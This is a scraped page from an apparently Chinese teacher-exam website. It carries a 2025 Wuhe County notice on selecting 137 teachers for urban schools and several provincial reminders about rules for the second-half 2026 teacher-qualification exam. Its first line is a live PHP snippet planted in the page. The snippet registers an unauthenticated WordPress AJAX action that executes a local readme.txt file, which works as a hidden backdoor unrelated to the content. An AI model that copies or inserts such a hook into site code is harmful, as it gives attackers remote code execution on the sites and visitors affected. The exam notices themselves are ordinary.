if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
安徽蚌埠五河县城区相关学校(园)2025年选调教师137人公告-全国教师资格考试网

安徽蚌埠五河县城区相关学校(园)2025年选调教师137人公告

为均衡配置教育资源,缓解城区中小学幼儿园教师紧缺状况,经县委编委会研究同意,现面向全县中小学、幼儿园选调部分教师到五河县城区学校、幼儿园任教。现公告如下。

一、选调岗位(详见附件1)

(一)中职学校教师岗位选调35名,其中面向城区学校公开选调17人,面向农村学校公开选调18人。

(二)城区公办中小学校教师岗位选调80名,其中面向全县农村学校分别公开选调初中教师37人、小学教师43人。

(三)城区公办幼儿园教师岗位选调22名,面向全县农村公办幼儿园。

二、选调范围

全县中小学、幼儿园在编在职教师。

三、选调条件

(一)报考人员应具备下列资格条件

1.拥护党的路线、方针、政策,忠诚党的教育事业,全面贯彻党的教育方针,具有良好的品行和职业道德。

2.身体健康,具备适应岗位要求的身体条件和心理素质。

3.男性年龄53周岁及以下,即1971年6月(含)以后出生;女性年龄50周岁及以下,即1974年6月(含)以后出生。

4.在我县具有连续3年及以上任教经历(2022年9月及之前入编,定向培养乡村教师须满6年服务期)。

5.报考中职岗位的应具备大学本科及以上学历,任教学科或所学专业须与报考岗位相对应,具有中职或高中及以上教师资格证。

6.报考初中岗位的应具备大学本科及以上学历,任教学科或所学专业须与报考岗位相对应,具有初中及以上教师资格证。

7.报考小学岗位的应具备大学本科及以上学历,任教学科或所学专业须与报考岗位相对应,具有小学及以上教师资格证。

8.报考幼儿园岗位的须为幼儿园编制,具备大学专科及以上学历,具有幼儿园教师资格证。

9.近两年(2023年和2024年)年度考核结果均为合格及以上等次。

(二)具有下列情形之一的,不得报考

1.在党政纪处分影响期内的;

2.有违法违纪行为正在被审查的;

3.受过刑事处罚的;

4.师德师风考核不合格的;

5.其他情形不宜选调的。

四、选调程序

(一)发布选调公告

选调公告在五河县人民政府网站发布。

(二)报名及资格审查

1.报名时间

2025年6月20日—6月22日(星期五—星期日,上午9∶00—11∶30.下午3∶00—5∶30)

2.报名地点

五河县教育局人事股(地址:五河县惠民路8号县政府三楼最西边)

3.报名时需提供以下材料

报名表(报名表填写打印后贴上照片,另交2张同版1寸免冠证件照)、本人二代有效身份证、学历证书、教师资格证、奖励证书等证件的原件及复印件,审查时验原件、留存复印件。

4.每位报考人员限报1个岗位。岗位报名人数与岗位选调人数比例不低于2:1.否则相应核减或取消该岗位选调人数。

5.根据安徽省财政厅、安徽省物价局财综〔2013〕2568号文件规定,按每人每科45元标准收取笔试费用,报名时缴纳。

(三)选调办法

选调分为笔试、教学实绩和专业测试(面试)三个环节,按笔试成绩占30%、教学实绩分值占30%、专业测试成绩占40%合成选调考试成绩总分。

根据报考人员报考的岗位,按拟选调人数1:2的比例确定入围参加专业测试人选,不足规定比例的按实际人数确定。入围参加专业测试人选名单以报考人员取得的笔试成绩和教学实绩分值(笔试成绩×30%+教学实绩分值×30%)合成分数,从高分到低分依次确定,最后一名如有多位报考人员成绩相同,则一并进入。

1.笔试

(1)笔试准考证领取时间及地点

报名考生携带本人二代有效身份证、笔试费用缴纳收据于2025年7月12日(星期六,上午9:00—11:30.下午3:00—5:30)到五河县教育局人事股领取笔试准考证,逾期视为自动放弃。

(2)笔试时间及地点

笔试时间:2025年7月13日(星期日)8:30-10:30

笔试地点:以准考证为准

(3)笔试科目及内容

笔试为《学科专业知识》一科。笔试范围主要为报考学科《课程标准》和相应学科基础知识。不指定参考资料。笔试满分100分,设定笔试成绩最低分数线为60分,达不到最低分数线的,取消进入下一环节资格。

2.教学实绩

(1)综合专业荣誉

获得县级及以上教育主管部门认定、直接反映教育教学能力的教学能手、教坛新星、学科带头人、青年骨干教师,国家级40分、省级30分、市级20分、县级10分。

(2)教学水平成果

获得县级及以上教育部门组织的优质课、教学基本功大赛(与报考岗位学段学科一致),国家级40分、省级30分、市级20分、县级10分。一等奖为最高分,同级别每降一等少4分。若设特等奖,特等奖对应一等奖,依次类推。

3.专业测试(面试)

专业测试采取无生上课的方式进行。备课时间40分钟,按指定内容进行准备,上课时间15分钟,主要考察报考人员的教育教学水平和综合素质能力、仪表举止等。专业测试满分为100分(成绩四舍五入保留小数点后两位)。设定专业测试最低分数线为70分,达不到最低分数线的,取消进入下一环节资格。专业测试成绩当场公布。专业测试的时间、地点另行通知。请报考人员持续关注五河县人民政府网站发布的相关通知。

根据安徽省财政厅、安徽省物价局财综〔2013〕2568号文件规定,专业测试费80元/人。专业测试费用在领取专业测试通知书时缴纳,时间另行通知。

五、公示与聘用

专业测试(面试)结束后,按照与公布的选调岗位计划数1:1比例,根据报考人员的总成绩从高分到低分依次确定拟选调人选;若总成绩出现并列,则依次以报考人员的教学实绩、专业测试成绩、笔试成绩为依据,从高分到低分确定。后期选岗、递补、专业技术岗位等级聘用等均依照此原则。若考生各项成绩均相同,则采取加试的方法,加试方案另行公布。

根据报考人员的总成绩从高分到低分依次自愿选择选调岗位。拟选调人员名单在五河县人民政府网公示5个工作日。经公示无异议,对符合选调条件的人员办理调动手续。如出现被取消选调资格或弃岗人员,该岗位按总成绩从高到低依次递补,递补只进行一次。

已取得专业技术职务资格的,根据选调学校实际岗位情况进行聘用,没有相应空余岗位的,则降低岗位等级聘用。在选岗及以后环节放弃的,三年内不得再次报考选调考试。选调人员在选调岗位上三年内不得流动。

六、本公告未尽事宜由五河县教育局、五河县人力资源和社会保障局负责解释。

本次考试不指定考试辅导用书,也不举办、不委托任何机构举办考试辅导培训班。

选调工作自觉接受纪检监察机关、新闻媒体和社会各界的监督。对在选调工作中弄虚作假、徇私舞弊者,依据《事业单位公开招聘违纪违规行为处理规定》等追究责任,严肃处理。

特此公告。

咨询电话:

0552-2350059  0552-2350060  五河县教育局人事股0552-2325956  五河县人力资源和社会保障局人力资源管理股

监督电话:

0552-5899025  五河县纪委监委派驻县教育局纪检组

上述咨询服务和监督电话于正常办公时间使用。

附件:1.2025年五河县城区相关学校(园)公开选调教师岗位信息表.xlsx

2.2025年五河县城区相关学校(园)公开选调教师报名表.docx

五河县教育局

五河县人力资源和社会保障局

2025年6月16日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部